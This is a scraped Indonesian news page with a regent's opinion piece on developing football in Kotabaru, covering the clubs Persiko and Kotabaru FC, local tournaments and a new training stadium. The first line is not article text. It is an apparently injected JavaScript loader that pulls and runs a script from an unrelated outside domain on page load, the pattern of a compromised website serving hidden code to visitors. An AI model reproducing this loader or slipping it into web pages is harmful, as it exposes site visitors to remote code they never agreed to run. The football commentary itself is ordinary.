(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: OPINI

Menanti Lahirnya ‘Mo Salah’ dari Kotabaru


Sebagai putera asli Kotabaru, saya sangat berkeinginan memajukan Bumi Saijaan melalui sepak bola. Olahraga paling digandrungi seluruh lapisan masyarakat. Mulai dari hanya kelas kampung sampai kelas dunia. Hadir di tengah masyarakat perdesaan hingga masyarakat perkotaan.

Saya penggila permainan si kulit bundar ini. Melalui sepak bola saya berkeinginan memajukan Kotabaru. Saat ini, Kotabaru memiliki dua tim sepak bola, Persiko Kotabaru dan Kotabaru FC. Keduanya memang masih berkutat di Liga 3 Indonesia. Masih jauh dari mimpi saya untuk bisa bertanding secara resmi di kompetisi kasta tertinggi sepak bola nasional melawan tim-tim di Liga 1.

Persiko sejatinya bukan tim ayam sayur. Sekadar catatan pengingat saja, Persiko pernah berkiprah di Divisi 1 Liga Indonesia pada pertengahan tahun 2000-an. Pemain-pemain dan pelatih level nasional pernah menjadi bagian tim berjuluk Laskar Todak Saijaan ini.

Penyerahan medali kepada pemenang Turnamen Bupati Cup Kotabaru 2019 oleh Bupati Kotabaru, Sayed Jafar Alaydrus, SH. Foto: kotabarukab.go.id

Pada tahun 2006, Persiko ditangani oleh Aji Santoso, pelatih Persebaya saat ini. Aji sukses membawa Persiko lolos ke Divisi II Liga Indonesia. Setahun berikutnya, 2007, mantan pemain nasional Sudirman, duduk mengisi kursi kepelatihan Persiko.

Di bawah komando Sudirman, Persiko berhasil menembus level Divisi I Liga Indonesia dan mampu bertahan di Divisi I beberapa tahun berikutnya.

Saat berlaga di Divisi I inilah menjadi masa-masa sulit sebagai suporter Persiko. Home base Persiko terpaksa pindah ke Barabai, Kabupaten Hulu Sungai Tengah (HST). Ya, karena Stadion Bamega Kotabaru tidak punya standar menggelar laga kompetisi nasional Divisi I sesuai yang ditetapkan PSSI.

Era tahun 1980-an Persiko juga sudah mampu menarik minat pemain-pemain kelas wahid untuk berkostum kuning khas Laskar Todak Saijaan. Ya, saya ingat ada nama Arifin Djoefri, penjaga gawang asal Surabaya yang pernah mengawal gawang Persebaya saat menghadapi Ajax Amsterdam di Gelora 10 Nopember Surabaya.

Penjaga gawang Persiko Kotabaru era 1980-an, (alm) Arifin Djoefri (dua dari kiri) pernah memperkuat Persebaya Surabaya saat melawan Ajax Amsterdam di Stadion 10 Nopember, Surabaya. Foto: koleksi andy arfian

Gairah sepak bola Kotabaru semakin bergeliat dengan kemunculan Kotabaru FC pada tahun 2017 lalu. Teranyar, baru saja menoreh prestasi menjadi juara Liga 3 Regional Kalimantan. Harus diakui, sepak bola bisa membuat nama suatu daerah menjadi sangat positif.

Bisa ambil contoh Madura yang saat ini semakin dikenal seantero Indonesia berkat Madura United-nya.

Saat pertandingan sepak bola digelar di Kotabaru, warga Kotabaru tumpah di sekitar Stadion Bamega. Perekonomian berputar, meski tak banyak. Okupansi hotel meningkat untuk tempat menginap tim tamu dan suporter yang datang. Pedagang atribut sepak bola, makanan, minuman, hingga tukang parkir semua terlibat.

Tahun 2019 lalu, saya menggelar turnamen sepak bola Bupati Cup Kotabaru. Berharap muncul bibit-bibit muda pesepak bola untuk Kotabaru ke depan. Selain Bupati Cup, Kotabaru menggelar turnamen sepak bola Pulau Laut Barat (PLB) Cup dan beberapa turnamen lainnya.

Banyaknya turnamen yang digelar ini tentu dengan tujuan membina dan memupuk kemajuan persepakbolaan Kotabaru. Cuma satu keinginan saya, Persiko dan Kotabaru FC bisa bertengger di kasta tertinggi elit liga sepak bola Indonesia, sekaligus menelurkan pemain Timnas Indonesia.

Semua kecamatan harus melakukan suatu dorongan kepada generasi muda di wilayahnya untuk menyukai dan menggemari sepak bola sejak dini.

Saya menyerukan agar dibuat ajang pencarian bakat guna menumbuhkan bibit bibit muda yang nantinya bisa membawa kejayaan Kotabaru melalui sepak bola.

Selain sisi olahraga, sepak bola juga bisa menyambung silaturahmi antar warga Kotabaru. Sepak bola lengkap. Sepak bola mengajarkan kita banyak ilmu kehidupan, seperti kemanusiaan, sedih, senang, dan cinta, sportivitas, kebersamaan, kepedulian, serta kedisiplinan.

Keberhasilan Kotabaru FC menjuarai Liga 3 Regional Kalimantan ini seperti oase yang mengakhiri dahaga prestasi sepak bola Kotabaru. Ini yang sudah lama kita dambakan. Kotabaru mempunyai klub sepak bola yang bisa mengangkat nama daerah.

Sebagai bupati yang menjadi bapak dari seluruh warga Kotabaru, apresiasi kerja keras tim yang sukses mengharumkan nama Kotabaru ini. Bahkan saya menjanjikan dukungan fasilitas untuk meningkatkan prestasi sepak bola Kotabaru dengan membenahi sarana dan prasarana Stadion Bamega, seperti pembenahan lapangan dan tribun serta membangun membangun stadion baru untuk latihan.

Pembangunan stadion baru di atas lahan seluas 15 hektare yang berlokasi di Desa Stagen, Kecamatan Pulau Laut Utara yang sedang berjalan ini didanai oleh pihak ketiga. Rencananya stadion untuk latihan ini juga akan dilengkapi mes untuk pemain.

Saya yakin, suatu saat mimpi saya untuk bisa menyaksikan pemain-pemain sepak bola asal Kotabaru bertanding di kasta tertinggi Liga Indonesia akan terwujud. Tentunya dengan dukungan seluruh warga dan kerjasama dengan pihak ketiga yang juga mencari hidup di Kotabaru.

Jangan lelah bermimpi dan berharap. Mohammed Salah-Mohammed Salah baru pasti akan lahir dari kompetisi dan pembinaan sepak bola Kotabaru.  (sayed jafar alaydrus/kanalkalimantan.com)

 

Editor : Bie

 


Desy Arfianty

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

2 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

5 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

19 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

20 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

21 jam ago

This website uses cookies.